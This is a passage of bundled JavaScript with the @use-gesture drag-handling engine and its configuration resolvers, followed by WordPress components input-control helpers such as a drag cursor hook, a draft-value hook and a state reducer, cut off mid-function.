25385 top = -Infinity,
25386 bottom = Infinity
25387 } = value;
25388 return [[left, right], [top, bottom]];
25389 }
25390 });
25391 var KEYS_DELTA_MAP = {
25392 ArrowRight: (displacement, factor = 1) => [displacement * factor, 0],
25393 ArrowLeft: (displacement, factor = 1) => [-1 * displacement * factor, 0],
25394 ArrowUp: (displacement, factor = 1) => [0, -1 * displacement * factor],
25395 ArrowDown: (displacement, factor = 1) => [0, displacement * factor]
25396 };
25397 var DragEngine = class extends CoordinatesEngine {
25398 constructor(...args) {
25399 super(...args);
25400 _defineProperty(this, "ingKey", "dragging");
25401 }
25402 reset() {
25403 super.reset();
25404 const state = this.state;
25405 state._pointerId = void 0;
25406 state._pointerActive = false;
25407 state._keyboardActive = false;
25408 state._preventScroll = false;
25409 state._delayed = false;
25410 state.swipe = [0, 0];
25411 state.tap = false;
25412 state.canceled = false;
25413 state.cancel = this.cancel.bind(this);
25414 }
25415 setup() {
25416 const state = this.state;
25417 if (state._bounds instanceof HTMLElement) {
25418 const boundRect = state._bounds.getBoundingClientRect();
25419 const targetRect = state.currentTarget.getBoundingClientRect();
25420 const _bounds = {
25421 left: boundRect.left - targetRect.left + state.offset[0],
25422 right: boundRect.right - targetRect.right + state.offset[0],
25423 top: boundRect.top - targetRect.top + state.offset[1],
25424 bottom: boundRect.bottom - targetRect.bottom + state.offset[1]
25425 };
25426 state._bounds = coordinatesConfigResolver.bounds(_bounds);
25427 }
25428 }
25429 cancel() {
25430 const state = this.state;
25431 if (state.canceled) return;
25432 state.canceled = true;
25433 state._active = false;
25434 setTimeout(() => {
25435 this.compute();
25436 this.emit();
25437 }, 0);
25438 }
25439 setActive() {
25440 this.state._active = this.state._pointerActive || this.state._keyboardActive;
25441 }
25442 clean() {
25443 this.pointerClean();
25444 this.state._pointerActive = false;
25445 this.state._keyboardActive = false;
25446 super.clean();
25447 }
25448 pointerDown(event) {
25449 const config = this.config;
25450 const state = this.state;
25451 if (event.buttons != null && (Array.isArray(config.pointerButtons) ? !config.pointerButtons.includes(event.buttons) : config.pointerButtons !== -1 && config.pointerButtons !== event.buttons)) return;
25452 const ctrlIds = this.ctrl.setEventIds(event);
25453 if (config.pointerCapture) {
25454 event.target.setPointerCapture(event.pointerId);
25455 }
25456 if (ctrlIds && ctrlIds.size > 1 && state._pointerActive) return;
25457 this.start(event);
25458 this.setupPointer(event);
25459 state._pointerId = pointerId(event);
25460 state._pointerActive = true;
25461 this.computeValues(pointerValues(event));
25462 this.computeInitial();
25463 if (config.preventScrollAxis && getPointerType(event) !== "mouse") {
25464 state._active = false;
25465 this.setupScrollPrevention(event);
25466 } else if (config.delay > 0) {
25467 this.setupDelayTrigger(event);
25468 if (config.triggerAllEvents) {
25469 this.compute(event);
25470 this.emit();
25471 }
25472 } else {
25473 this.startPointerDrag(event);
25474 }
25475 }
25476 startPointerDrag(event) {
25477 const state = this.state;
25478 state._active = true;
25479 state._preventScroll = true;
25480 state._delayed = false;
25481 this.compute(event);
25482 this.emit();
25483 }
25484 pointerMove(event) {
25485 const state = this.state;
25486 const config = this.config;
25487 if (!state._pointerActive) return;
25488 const id3 = pointerId(event);
25489 if (state._pointerId !== void 0 && id3 !== state._pointerId) return;
25490 const _values = pointerValues(event);
25491 if (document.pointerLockElement === event.target) {
25492 state._delta = [event.movementX, event.movementY];
25493 } else {
25494 state._delta = V.sub(_values, state._values);
25495 this.computeValues(_values);
25496 }
25497 V.addTo(state._movement, state._delta);
25498 this.compute(event);
25499 if (state._delayed && state.intentional) {
25500 this.timeoutStore.remove("dragDelay");
25501 state.active = false;
25502 this.startPointerDrag(event);
25503 return;
25504 }
25505 if (config.preventScrollAxis && !state._preventScroll) {
25506 if (state.axis) {
25507 if (state.axis === config.preventScrollAxis || config.preventScrollAxis === "xy") {
25508 state._active = false;
25509 this.clean();
25510 return;
25511 } else {
25512 this.timeoutStore.remove("startPointerDrag");
25513 this.startPointerDrag(event);
25514 return;
25515 }
25516 } else {
25517 return;
25518 }
25519 }
25520 this.emit();
25521 }
25522 pointerUp(event) {
25523 this.ctrl.setEventIds(event);
25524 try {
25525 if (this.config.pointerCapture && event.target.hasPointerCapture(event.pointerId)) {
25526 ;
25527 event.target.releasePointerCapture(event.pointerId);
25528 }
25529 } catch (_unused) {
25530 if (true) {
25531 console.warn(`[@use-gesture]: If you see this message, it's likely that you're using an outdated version of \`@react-three/fiber\`.
25532
25533Please upgrade to the latest version.`);
25534 }
25535 }
25536 const state = this.state;
25537 const config = this.config;
25538 if (!state._active || !state._pointerActive) return;
25539 const id3 = pointerId(event);
25540 if (state._pointerId !== void 0 && id3 !== state._pointerId) return;
25541 this.state._pointerActive = false;
25542 this.setActive();
25543 this.compute(event);
25544 const [dx, dy] = state._distance;
25545 state.tap = dx <= config.tapsThreshold && dy <= config.tapsThreshold;
25546 if (state.tap && config.filterTaps) {
25547 state._force = true;
25548 } else {
25549 const [_dx, _dy] = state._delta;
25550 const [_mx, _my] = state._movement;
25551 const [svx, svy] = config.swipe.velocity;
25552 const [sx, sy] = config.swipe.distance;
25553 const sdt = config.swipe.duration;
25554 if (state.elapsedTime < sdt) {
25555 const _vx = Math.abs(_dx / state.timeDelta);
25556 const _vy = Math.abs(_dy / state.timeDelta);
25557 if (_vx > svx && Math.abs(_mx) > sx) state.swipe[0] = Math.sign(_dx);
25558 if (_vy > svy && Math.abs(_my) > sy) state.swipe[1] = Math.sign(_dy);
25559 }
25560 }
25561 this.emit();
25562 }
25563 pointerClick(event) {
25564 if (!this.state.tap && event.detail > 0) {
25565 event.preventDefault();
25566 event.stopPropagation();
25567 }
25568 }
25569 setupPointer(event) {
25570 const config = this.config;
25571 const device = config.device;
25572 if (true) {
25573 try {
25574 if (device === "pointer" && config.preventScrollDelay === void 0) {
25575 const currentTarget = "uv" in event ? event.sourceEvent.currentTarget : event.currentTarget;
25576 const style2 = window.getComputedStyle(currentTarget);
25577 if (style2.touchAction === "auto") {
25578 console.warn(`[@use-gesture]: The drag target has its \`touch-action\` style property set to \`auto\`. It is recommended to add \`touch-action: 'none'\` so that the drag gesture behaves correctly on touch-enabled devices. For more information read this: https://use-gesture.netlify.app/docs/extras/#touch-action.
25579
25580This message will only show in development mode. It won't appear in production. If this is intended, you can ignore it.`, currentTarget);
25581 }
25582 }
25583 } catch (_unused2) {
25584 }
25585 }
25586 if (config.pointerLock) {
25587 event.currentTarget.requestPointerLock();
25588 }
25589 if (!config.pointerCapture) {
25590 this.eventStore.add(this.sharedConfig.window, device, "change", this.pointerMove.bind(this));
25591 this.eventStore.add(this.sharedConfig.window, device, "end", this.pointerUp.bind(this));
25592 this.eventStore.add(this.sharedConfig.window, device, "cancel", this.pointerUp.bind(this));
25593 }
25594 }
25595 pointerClean() {
25596 if (this.config.pointerLock && document.pointerLockElement === this.state.currentTarget) {
25597 document.exitPointerLock();
25598 }
25599 }
25600 preventScroll(event) {
25601 if (this.state._preventScroll && event.cancelable) {
25602 event.preventDefault();
25603 }
25604 }
25605 setupScrollPrevention(event) {
25606 this.state._preventScroll = false;
25607 persistEvent(event);
25608 const remove = this.eventStore.add(this.sharedConfig.window, "touch", "change", this.preventScroll.bind(this), {
25609 passive: false
25610 });
25611 this.eventStore.add(this.sharedConfig.window, "touch", "end", remove);
25612 this.eventStore.add(this.sharedConfig.window, "touch", "cancel", remove);
25613 this.timeoutStore.add("startPointerDrag", this.startPointerDrag.bind(this), this.config.preventScrollDelay, event);
25614 }
25615 setupDelayTrigger(event) {
25616 this.state._delayed = true;
25617 this.timeoutStore.add("dragDelay", () => {
25618 this.state._step = [0, 0];
25619 this.startPointerDrag(event);
25620 }, this.config.delay);
25621 }
25622 keyDown(event) {
25623 const deltaFn = KEYS_DELTA_MAP[event.key];
25624 if (deltaFn) {
25625 const state = this.state;
25626 const factor = event.shiftKey ? 10 : event.altKey ? 0.1 : 1;
25627 this.start(event);
25628 state._delta = deltaFn(this.config.keyboardDisplacement, factor);
25629 state._keyboardActive = true;
25630 V.addTo(state._movement, state._delta);
25631 this.compute(event);
25632 this.emit();
25633 }
25634 }
25635 keyUp(event) {
25636 if (!(event.key in KEYS_DELTA_MAP)) return;
25637 this.state._keyboardActive = false;
25638 this.setActive();
25639 this.compute(event);
25640 this.emit();
25641 }
25642 bind(bindFunction) {
25643 const device = this.config.device;
25644 bindFunction(device, "start", this.pointerDown.bind(this));
25645 if (this.config.pointerCapture) {
25646 bindFunction(device, "change", this.pointerMove.bind(this));
25647 bindFunction(device, "end", this.pointerUp.bind(this));
25648 bindFunction(device, "cancel", this.pointerUp.bind(this));
25649 bindFunction("lostPointerCapture", "", this.pointerUp.bind(this));
25650 }
25651 if (this.config.keys) {
25652 bindFunction("key", "down", this.keyDown.bind(this));
25653 bindFunction("key", "up", this.keyUp.bind(this));
25654 }
25655 if (this.config.filterTaps) {
25656 bindFunction("click", "", this.pointerClick.bind(this), {
25657 capture: true,
25658 passive: false
25659 });
25660 }
25661 }
25662 };
25663 function persistEvent(event) {
25664 "persist" in event && typeof event.persist === "function" && event.persist();
25665 }
25666 var isBrowser3 = typeof window !== "undefined" && window.document && window.document.createElement;
25667 function supportsTouchEvents() {
25668 return isBrowser3 && "ontouchstart" in window;
25669 }
25670 function isTouchScreen() {
25671 return supportsTouchEvents() || isBrowser3 && window.navigator.maxTouchPoints > 1;
25672 }
25673 function supportsPointerEvents() {
25674 return isBrowser3 && "onpointerdown" in window;
25675 }
25676 function supportsPointerLock() {
25677 return isBrowser3 && "exitPointerLock" in window.document;
25678 }
25679 function supportsGestureEvents() {
25680 try {
25681 return "constructor" in GestureEvent;
25682 } catch (e3) {
25683 return false;
25684 }
25685 }
25686 var SUPPORT = {
25687 isBrowser: isBrowser3,
25688 gesture: supportsGestureEvents(),
25689 touch: supportsTouchEvents(),
25690 touchscreen: isTouchScreen(),
25691 pointer: supportsPointerEvents(),
25692 pointerLock: supportsPointerLock()
25693 };
25694 var DEFAULT_PREVENT_SCROLL_DELAY = 250;
25695 var DEFAULT_DRAG_DELAY = 180;
25696 var DEFAULT_SWIPE_VELOCITY = 0.5;
25697 var DEFAULT_SWIPE_DISTANCE = 50;
25698 var DEFAULT_SWIPE_DURATION = 250;
25699 var DEFAULT_KEYBOARD_DISPLACEMENT = 10;
25700 var DEFAULT_DRAG_AXIS_THRESHOLD = {
25701 mouse: 0,
25702 touch: 0,
25703 pen: 8
25704 };
25705 var dragConfigResolver = _objectSpread2(_objectSpread2({}, coordinatesConfigResolver), {}, {
25706 device(_v, _k, {
25707 pointer: {
25708 touch = false,
25709 lock: lock2 = false,
25710 mouse = false
25711 } = {}
25712 }) {
25713 this.pointerLock = lock2 && SUPPORT.pointerLock;
25714 if (SUPPORT.touch && touch) return "touch";
25715 if (this.pointerLock) return "mouse";
25716 if (SUPPORT.pointer && !mouse) return "pointer";
25717 if (SUPPORT.touch) return "touch";
25718 return "mouse";
25719 },
25720 preventScrollAxis(value, _k, {
25721 preventScroll
25722 }) {
25723 this.preventScrollDelay = typeof preventScroll === "number" ? preventScroll : preventScroll || preventScroll === void 0 && value ? DEFAULT_PREVENT_SCROLL_DELAY : void 0;
25724 if (!SUPPORT.touchscreen || preventScroll === false) return void 0;
25725 return value ? value : preventScroll !== void 0 ? "y" : void 0;
25726 },
25727 pointerCapture(_v, _k, {
25728 pointer: {
25729 capture = true,
25730 buttons = 1,
25731 keys = true
25732 } = {}
25733 }) {
25734 this.pointerButtons = buttons;
25735 this.keys = keys;
25736 return !this.pointerLock && this.device === "pointer" && capture;
25737 },
25738 threshold(value, _k, {
25739 filterTaps = false,
25740 tapsThreshold = 3,
25741 axis = void 0
25742 }) {
25743 const threshold = V.toVector(value, filterTaps ? tapsThreshold : axis ? 1 : 0);
25744 this.filterTaps = filterTaps;
25745 this.tapsThreshold = tapsThreshold;
25746 return threshold;
25747 },
25748 swipe({
25749 velocity = DEFAULT_SWIPE_VELOCITY,
25750 distance: distance2 = DEFAULT_SWIPE_DISTANCE,
25751 duration = DEFAULT_SWIPE_DURATION
25752 } = {}) {
25753 return {
25754 velocity: this.transform(V.toVector(velocity)),
25755 distance: this.transform(V.toVector(distance2)),
25756 duration
25757 };
25758 },
25759 delay(value = 0) {
25760 switch (value) {
25761 case true:
25762 return DEFAULT_DRAG_DELAY;
25763 case false:
25764 return 0;
25765 default:
25766 return value;
25767 }
25768 },
25769 axisThreshold(value) {
25770 if (!value) return DEFAULT_DRAG_AXIS_THRESHOLD;
25771 return _objectSpread2(_objectSpread2({}, DEFAULT_DRAG_AXIS_THRESHOLD), value);
25772 },
25773 keyboardDisplacement(value = DEFAULT_KEYBOARD_DISPLACEMENT) {
25774 return value;
25775 }
25776 });
25777 if (true) {
25778 Object.assign(dragConfigResolver, {
25779 useTouch(value) {
25780 if (value !== void 0) {
25781 throw Error(`[@use-gesture]: \`useTouch\` option has been renamed to \`pointer.touch\`. Use it as in \`{ pointer: { touch: true } }\`.`);
25782 }
25783 return NaN;
25784 },
25785 experimental_preventWindowScrollY(value) {
25786 if (value !== void 0) {
25787 throw Error(`[@use-gesture]: \`experimental_preventWindowScrollY\` option has been renamed to \`preventScroll\`.`);
25788 }
25789 return NaN;
25790 },
25791 swipeVelocity(value) {
25792 if (value !== void 0) {
25793 throw Error(`[@use-gesture]: \`swipeVelocity\` option has been renamed to \`swipe.velocity\`. Use it as in \`{ swipe: { velocity: 0.5 } }\`.`);
25794 }
25795 return NaN;
25796 },
25797 swipeDistance(value) {
25798 if (value !== void 0) {
25799 throw Error(`[@use-gesture]: \`swipeDistance\` option has been renamed to \`swipe.distance\`. Use it as in \`{ swipe: { distance: 50 } }\`.`);
25800 }
25801 return NaN;
25802 },
25803 swipeDuration(value) {
25804 if (value !== void 0) {
25805 throw Error(`[@use-gesture]: \`swipeDuration\` option has been renamed to \`swipe.duration\`. Use it as in \`{ swipe: { duration: 250 } }\`.`);
25806 }
25807 return NaN;
25808 }
25809 });
25810 }
25811 var pinchConfigResolver = _objectSpread2(_objectSpread2({}, commonConfigResolver), {}, {
25812 device(_v, _k, {
25813 shared,
25814 pointer: {
25815 touch = false
25816 } = {}
25817 }) {
25818 const sharedConfig = shared;
25819 if (sharedConfig.target && !SUPPORT.touch && SUPPORT.gesture) return "gesture";
25820 if (SUPPORT.touch && touch) return "touch";
25821 if (SUPPORT.touchscreen) {
25822 if (SUPPORT.pointer) return "pointer";
25823 if (SUPPORT.touch) return "touch";
25824 }
25825 },
25826 bounds(_v, _k, {
25827 scaleBounds = {},
25828 angleBounds = {}
25829 }) {
25830 const _scaleBounds = (state) => {
25831 const D = assignDefault(call(scaleBounds, state), {
25832 min: -Infinity,
25833 max: Infinity
25834 });
25835 return [D.min, D.max];
25836 };
25837 const _angleBounds = (state) => {
25838 const A = assignDefault(call(angleBounds, state), {
25839 min: -Infinity,
25840 max: Infinity
25841 });
25842 return [A.min, A.max];
25843 };
25844 if (typeof scaleBounds !== "function" && typeof angleBounds !== "function") return [_scaleBounds(), _angleBounds()];
25845 return (state) => [_scaleBounds(state), _angleBounds(state)];
25846 },
25847 threshold(value, _k, config) {
25848 this.lockDirection = config.axis === "lock";
25849 const threshold = V.toVector(value, this.lockDirection ? [0.1, 3] : 0);
25850 return threshold;
25851 },
25852 modifierKey(value) {
25853 if (value === void 0) return "ctrlKey";
25854 return value;
25855 },
25856 pinchOnWheel(value = true) {
25857 return value;
25858 }
25859 });
25860 var moveConfigResolver = _objectSpread2(_objectSpread2({}, coordinatesConfigResolver), {}, {
25861 mouseOnly: (value = true) => value
25862 });
25863 var hoverConfigResolver = _objectSpread2(_objectSpread2({}, coordinatesConfigResolver), {}, {
25864 mouseOnly: (value = true) => value
25865 });
25866 var EngineMap = /* @__PURE__ */ new Map();
25867 var ConfigResolverMap = /* @__PURE__ */ new Map();
25868 function registerAction(action) {
25869 EngineMap.set(action.key, action.engine);
25870 ConfigResolverMap.set(action.key, action.resolver);
25871 }
25872 var dragAction = {
25873 key: "drag",
25874 engine: DragEngine,
25875 resolver: dragConfigResolver
25876 };
25877
25878 // node_modules/@use-gesture/react/dist/use-gesture-react.esm.js
25879 var import_react92 = __toESM(require_react());
25880
25881 // node_modules/@use-gesture/core/dist/use-gesture-core.esm.js
25882 function _objectWithoutPropertiesLoose(source, excluded) {
25883 if (source == null) return {};
25884 var target = {};
25885 var sourceKeys = Object.keys(source);
25886 var key, i3;
25887 for (i3 = 0; i3 < sourceKeys.length; i3++) {
25888 key = sourceKeys[i3];
25889 if (excluded.indexOf(key) >= 0) continue;
25890 target[key] = source[key];
25891 }
25892 return target;
25893 }
25894 function _objectWithoutProperties(source, excluded) {
25895 if (source == null) return {};
25896 var target = _objectWithoutPropertiesLoose(source, excluded);
25897 var key, i3;
25898 if (Object.getOwnPropertySymbols) {
25899 var sourceSymbolKeys = Object.getOwnPropertySymbols(source);
25900 for (i3 = 0; i3 < sourceSymbolKeys.length; i3++) {
25901 key = sourceSymbolKeys[i3];
25902 if (excluded.indexOf(key) >= 0) continue;
25903 if (!Object.prototype.propertyIsEnumerable.call(source, key)) continue;
25904 target[key] = source[key];
25905 }
25906 }
25907 return target;
25908 }
25909 var sharedConfigResolver = {
25910 target(value) {
25911 if (value) {
25912 return () => "current" in value ? value.current : value;
25913 }
25914 return void 0;
25915 },
25916 enabled(value = true) {
25917 return value;
25918 },
25919 window(value = SUPPORT.isBrowser ? window : void 0) {
25920 return value;
25921 },
25922 eventOptions({
25923 passive = true,
25924 capture = false
25925 } = {}) {
25926 return {
25927 passive,
25928 capture
25929 };
25930 },
25931 transform(value) {
25932 return value;
25933 }
25934 };
25935 var _excluded = ["target", "eventOptions", "window", "enabled", "transform"];
25936 function resolveWith(config = {}, resolvers) {
25937 const result = {};
25938 for (const [key, resolver] of Object.entries(resolvers)) {
25939 switch (typeof resolver) {
25940 case "function":
25941 if (true) {
25942 const r4 = resolver.call(result, config[key], key, config);
25943 if (!Number.isNaN(r4)) result[key] = r4;
25944 } else {
25945 result[key] = resolver.call(result, config[key], key, config);
25946 }
25947 break;
25948 case "object":
25949 result[key] = resolveWith(config[key], resolver);
25950 break;
25951 case "boolean":
25952 if (resolver) result[key] = config[key];
25953 break;
25954 }
25955 }
25956 return result;
25957 }
25958 function parse2(newConfig, gestureKey, _config = {}) {
25959 const _ref11 = newConfig, {
25960 target,
25961 eventOptions,
25962 window: window2,
25963 enabled,
25964 transform
25965 } = _ref11, rest = _objectWithoutProperties(_ref11, _excluded);
25966 _config.shared = resolveWith({
25967 target,
25968 eventOptions,
25969 window: window2,
25970 enabled,
25971 transform
25972 }, sharedConfigResolver);
25973 if (gestureKey) {
25974 const resolver = ConfigResolverMap.get(gestureKey);
25975 _config[gestureKey] = resolveWith(_objectSpread2({
25976 shared: _config.shared
25977 }, rest), resolver);
25978 } else {
25979 for (const key in rest) {
25980 const resolver = ConfigResolverMap.get(key);
25981 if (resolver) {
25982 _config[key] = resolveWith(_objectSpread2({
25983 shared: _config.shared
25984 }, rest[key]), resolver);
25985 } else if (true) {
25986 if (!["drag", "pinch", "scroll", "wheel", "move", "hover"].includes(key)) {
25987 if (key === "domTarget") {
25988 throw Error(`[@use-gesture]: \`domTarget\` option has been renamed to \`target\`.`);
25989 }
25990 console.warn(`[@use-gesture]: Unknown config key \`${key}\` was used. Please read the documentation for further information.`);
25991 }
25992 }
25993 }
25994 }
25995 return _config;
25996 }
25997 var EventStore = class {
25998 constructor(ctrl, gestureKey) {
25999 _defineProperty(this, "_listeners", /* @__PURE__ */ new Set());
26000 this._ctrl = ctrl;
26001 this._gestureKey = gestureKey;
26002 }
26003 add(element, device, action, handler, options2) {
26004 const listeners = this._listeners;
26005 const type = toDomEventType(device, action);
26006 const _options = this._gestureKey ? this._ctrl.config[this._gestureKey].eventOptions : {};
26007 const eventOptions = _objectSpread2(_objectSpread2({}, _options), options2);
26008 element.addEventListener(type, handler, eventOptions);
26009 const remove = () => {
26010 element.removeEventListener(type, handler, eventOptions);
26011 listeners.delete(remove);
26012 };
26013 listeners.add(remove);
26014 return remove;
26015 }
26016 clean() {
26017 this._listeners.forEach((remove) => remove());
26018 this._listeners.clear();
26019 }
26020 };
26021 var TimeoutStore = class {
26022 constructor() {
26023 _defineProperty(this, "_timeouts", /* @__PURE__ */ new Map());
26024 }
26025 add(key, callback, ms = 140, ...args) {
26026 this.remove(key);
26027 this._timeouts.set(key, window.setTimeout(callback, ms, ...args));
26028 }
26029 remove(key) {
26030 const timeout = this._timeouts.get(key);
26031 if (timeout) window.clearTimeout(timeout);
26032 }
26033 clean() {
26034 this._timeouts.forEach((timeout) => void window.clearTimeout(timeout));
26035 this._timeouts.clear();
26036 }
26037 };
26038 var Controller = class {
26039 constructor(handlers) {
26040 _defineProperty(this, "gestures", /* @__PURE__ */ new Set());
26041 _defineProperty(this, "_targetEventStore", new EventStore(this));
26042 _defineProperty(this, "gestureEventStores", {});
26043 _defineProperty(this, "gestureTimeoutStores", {});
26044 _defineProperty(this, "handlers", {});
26045 _defineProperty(this, "config", {});
26046 _defineProperty(this, "pointerIds", /* @__PURE__ */ new Set());
26047 _defineProperty(this, "touchIds", /* @__PURE__ */ new Set());
26048 _defineProperty(this, "state", {
26049 shared: {
26050 shiftKey: false,
26051 metaKey: false,
26052 ctrlKey: false,
26053 altKey: false
26054 }
26055 });
26056 resolveGestures(this, handlers);
26057 }
26058 setEventIds(event) {
26059 if (isTouch(event)) {
26060 this.touchIds = new Set(touchIds(event));
26061 return this.touchIds;
26062 } else if ("pointerId" in event) {
26063 if (event.type === "pointerup" || event.type === "pointercancel") this.pointerIds.delete(event.pointerId);
26064 else if (event.type === "pointerdown") this.pointerIds.add(event.pointerId);
26065 return this.pointerIds;
26066 }
26067 }
26068 applyHandlers(handlers, nativeHandlers) {
26069 this.handlers = handlers;
26070 this.nativeHandlers = nativeHandlers;
26071 }
26072 applyConfig(config, gestureKey) {
26073 this.config = parse2(config, gestureKey, this.config);
26074 }
26075 clean() {
26076 this._targetEventStore.clean();
26077 for (const key of this.gestures) {
26078 this.gestureEventStores[key].clean();
26079 this.gestureTimeoutStores[key].clean();
26080 }
26081 }
26082 effect() {
26083 if (this.config.shared.target) this.bind();
26084 return () => this._targetEventStore.clean();
26085 }
26086 bind(...args) {
26087 const sharedConfig = this.config.shared;
26088 const props = {};
26089 let target;
26090 if (sharedConfig.target) {
26091 target = sharedConfig.target();
26092 if (!target) return;
26093 }
26094 if (sharedConfig.enabled) {
26095 for (const gestureKey of this.gestures) {
26096 const gestureConfig = this.config[gestureKey];
26097 const bindFunction = bindToProps(props, gestureConfig.eventOptions, !!target);
26098 if (gestureConfig.enabled) {
26099 const Engine2 = EngineMap.get(gestureKey);
26100 new Engine2(this, args, gestureKey).bind(bindFunction);
26101 }
26102 }
26103 const nativeBindFunction = bindToProps(props, sharedConfig.eventOptions, !!target);
26104 for (const eventKey in this.nativeHandlers) {
26105 nativeBindFunction(eventKey, "", (event) => this.nativeHandlers[eventKey](_objectSpread2(_objectSpread2({}, this.state.shared), {}, {
26106 event,
26107 args
26108 })), void 0, true);
26109 }
26110 }
26111 for (const handlerProp in props) {
26112 props[handlerProp] = chain2(...props[handlerProp]);
26113 }
26114 if (!target) return props;
26115 for (const handlerProp in props) {
26116 const {
26117 device,
26118 capture,
26119 passive
26120 } = parseProp(handlerProp);
26121 this._targetEventStore.add(target, device, "", props[handlerProp], {
26122 capture,
26123 passive
26124 });
26125 }
26126 }
26127 };
26128 function setupGesture2(ctrl, gestureKey) {
26129 ctrl.gestures.add(gestureKey);
26130 ctrl.gestureEventStores[gestureKey] = new EventStore(ctrl, gestureKey);
26131 ctrl.gestureTimeoutStores[gestureKey] = new TimeoutStore();
26132 }
26133 function resolveGestures(ctrl, internalHandlers) {
26134 if (internalHandlers.drag) setupGesture2(ctrl, "drag");
26135 if (internalHandlers.wheel) setupGesture2(ctrl, "wheel");
26136 if (internalHandlers.scroll) setupGesture2(ctrl, "scroll");
26137 if (internalHandlers.move) setupGesture2(ctrl, "move");
26138 if (internalHandlers.pinch) setupGesture2(ctrl, "pinch");
26139 if (internalHandlers.hover) setupGesture2(ctrl, "hover");
26140 }
26141 var bindToProps = (props, eventOptions, withPassiveOption) => (device, action, handler, options2 = {}, isNative = false) => {
26142 var _options$capture, _options$passive;
26143 const capture = (_options$capture = options2.capture) !== null && _options$capture !== void 0 ? _options$capture : eventOptions.capture;
26144 const passive = (_options$passive = options2.passive) !== null && _options$passive !== void 0 ? _options$passive : eventOptions.passive;
26145 let handlerProp = isNative ? device : toHandlerProp(device, action, capture);
26146 if (withPassiveOption && passive) handlerProp += "Passive";
26147 props[handlerProp] = props[handlerProp] || [];
26148 props[handlerProp].push(handler);
26149 };
26150
26151 // node_modules/@use-gesture/react/dist/use-gesture-react.esm.js
26152 function useRecognizers(handlers, config = {}, gestureKey, nativeHandlers) {
26153 const ctrl = import_react92.default.useMemo(() => new Controller(handlers), []);
26154 ctrl.applyHandlers(handlers, nativeHandlers);
26155 ctrl.applyConfig(config, gestureKey);
26156 import_react92.default.useEffect(ctrl.effect.bind(ctrl));
26157 import_react92.default.useEffect(() => {
26158 return ctrl.clean.bind(ctrl);
26159 }, []);
26160 if (config.target === void 0) {
26161 return ctrl.bind.bind(ctrl);
26162 }
26163 return void 0;
26164 }
26165 function useDrag(handler, config) {
26166 registerAction(dragAction);
26167 return useRecognizers({
26168 drag: handler
26169 }, config || {}, "drag");
26170 }
26171
26172 // packages/components/build-module/input-control/input-field.mjs
26173 var import_element30 = __toESM(require_element(), 1);
26174
26175 // packages/components/build-module/input-control/utils.mjs
26176 var import_element28 = __toESM(require_element(), 1);
26177 function getDragCursor(dragDirection) {
26178 let dragCursor = "ns-resize";
26179 switch (dragDirection) {
26180 case "n":
26181 case "s":
26182 dragCursor = "ns-resize";
26183 break;
26184 case "e":
26185 case "w":
26186 dragCursor = "ew-resize";
26187 break;
26188 }
26189 return dragCursor;
26190 }
26191 function useDragCursor(isDragging2, dragDirection) {
26192 const dragCursor = getDragCursor(dragDirection);
26193 (0, import_element28.useEffect)(() => {
26194 if (isDragging2) {
26195 document.documentElement.style.cursor = dragCursor;
26196 } else {
26197 document.documentElement.style.cursor = null;
26198 }
26199 }, [isDragging2, dragCursor]);
26200 return dragCursor;
26201 }
26202 function useDraft(props) {
26203 const previousValueRef = (0, import_element28.useRef)(props.value);
26204 const [draft, setDraft] = (0, import_element28.useState)({});
26205 const value = draft.value !== void 0 ? draft.value : props.value;
26206 (0, import_element28.useLayoutEffect)(() => {
26207 const {
26208 current: previousValue
26209 } = previousValueRef;
26210 previousValueRef.current = props.value;
26211 if (draft.value !== void 0 && !draft.isStale) {
26212 setDraft({
26213 ...draft,
26214 isStale: true
26215 });
26216 } else if (draft.isStale && props.value !== previousValue) {
26217 setDraft({});
26218 }
26219 }, [props.value, draft]);
26220 const onChange = (nextValue, extra) => {
26221 setDraft((current) => Object.assign(current, {
26222 value: nextValue,
26223 isStale: false
26224 }));
26225 props.onChange(nextValue, extra);
26226 };
26227 const onBlur = (event) => {
26228 setDraft({});
26229 props.onBlur?.(event);
26230 };
26231 return {
26232 value,
26233 onBlur,
26234 onChange
26235 };
26236 }
26237
26238 // packages/components/build-module/input-control/reducer/reducer.mjs
26239 var import_element29 = __toESM(require_element(), 1);
26240
26241 // packages/components/build-module/input-control/reducer/state.mjs
26242 var initialStateReducer = (state) => state;
26243 var initialInputControlState = {
26244 error: null,
26245 initialValue: "",
26246 isDirty: false,
26247 isDragEnabled: false,
26248 isDragging: false,
26249 isPressEnterToChange: false,
26250 value: ""
26251 };
26252
26253 // packages/components/build-module/input-control/reducer/actions.mjs
26254 var CHANGE = "CHANGE";
26255 var COMMIT = "COMMIT";
26256 var CONTROL = "CONTROL";
26257 var DRAG_END = "DRAG_END";
26258 var DRAG_START = "DRAG_START";
26259 var DRAG = "DRAG";
26260 var INVALIDATE = "INVALIDATE";
26261 var PRESS_DOWN = "PRESS_DOWN";
26262 var PRESS_ENTER = "PRESS_ENTER";
26263 var PRESS_UP = "PRESS_UP";
26264 var RESET = "RESET";
26265
26266 // packages/components/build-module/input-control/reducer/reducer.mjs
26267 function mergeInitialState(initialState = initialInputControlState) {
26268 const {
26269 value
26270 } = initialState;
26271 return {
26272 ...initialInputControlState,
26273 ...initialState,
26274 initialValue: value
26275 };
26276 }
26277 function inputControlStateReducer(composedStateReducers) {
26278 return (state, action) => {
26279 const nextState = {
26280 ...state
26281 };
26282 switch (action.type) {
26283 /*
26284 * Controlled updates
26285 */
26286 case CONTROL:
26287 nextState.value = action.payload.value;
26288 nextState.isDirty = false;
26289 nextState._event = void 0;
26290 return nextState;
26291 /**
26292 * Keyboard events
26293 */
26294 case PRESS_UP:
26295 nextState.isDirty = false;
26296 break;
26297 case PRESS_DOWN:
26298 nextState.isDirty = false;
26299 break;
26300 /**
26301 * Drag events
26302 */
26303 case DRAG_START:
26304 nextState.isDragging = true;
26305 break;
26306 case DRAG_END:
26307 nextState.isDragging = false;
26308 break;
26309 /**
26310 * Input events
26311 */
26312 case CHANGE:
26313 nextState.error = null;
26314 nextState.value = action.payload.value;
26315 if (state.isPressEnterToChange) {
26316 nextState.isDirty = true;
26317 }
26318 break;
26319 case COMMIT:
26320 nextState.value = action.payload.value;
26321 nextState.isDirty = false;
26322 break;
26323 case RESET:
26324 nextState.error = null;
26325 nextState.isDirty = false;
26326 nextState.value = action.payload.value || state.initialValue;
26327 break;
26328 /**
26329 * Validation
26330 */
26331 case INVALIDATE:
26332 nextState.error = action.payload.error;
26333 break;
26334 }
26335 nextState._event = action.payload.event;
26336 return composedStateReducers(nextState, action);
26337 };
26338 }
26339 function useInputControlStateReducer(stateReducer = initialStateReducer, initialState = initialInputControlState, onChangeHandler) {
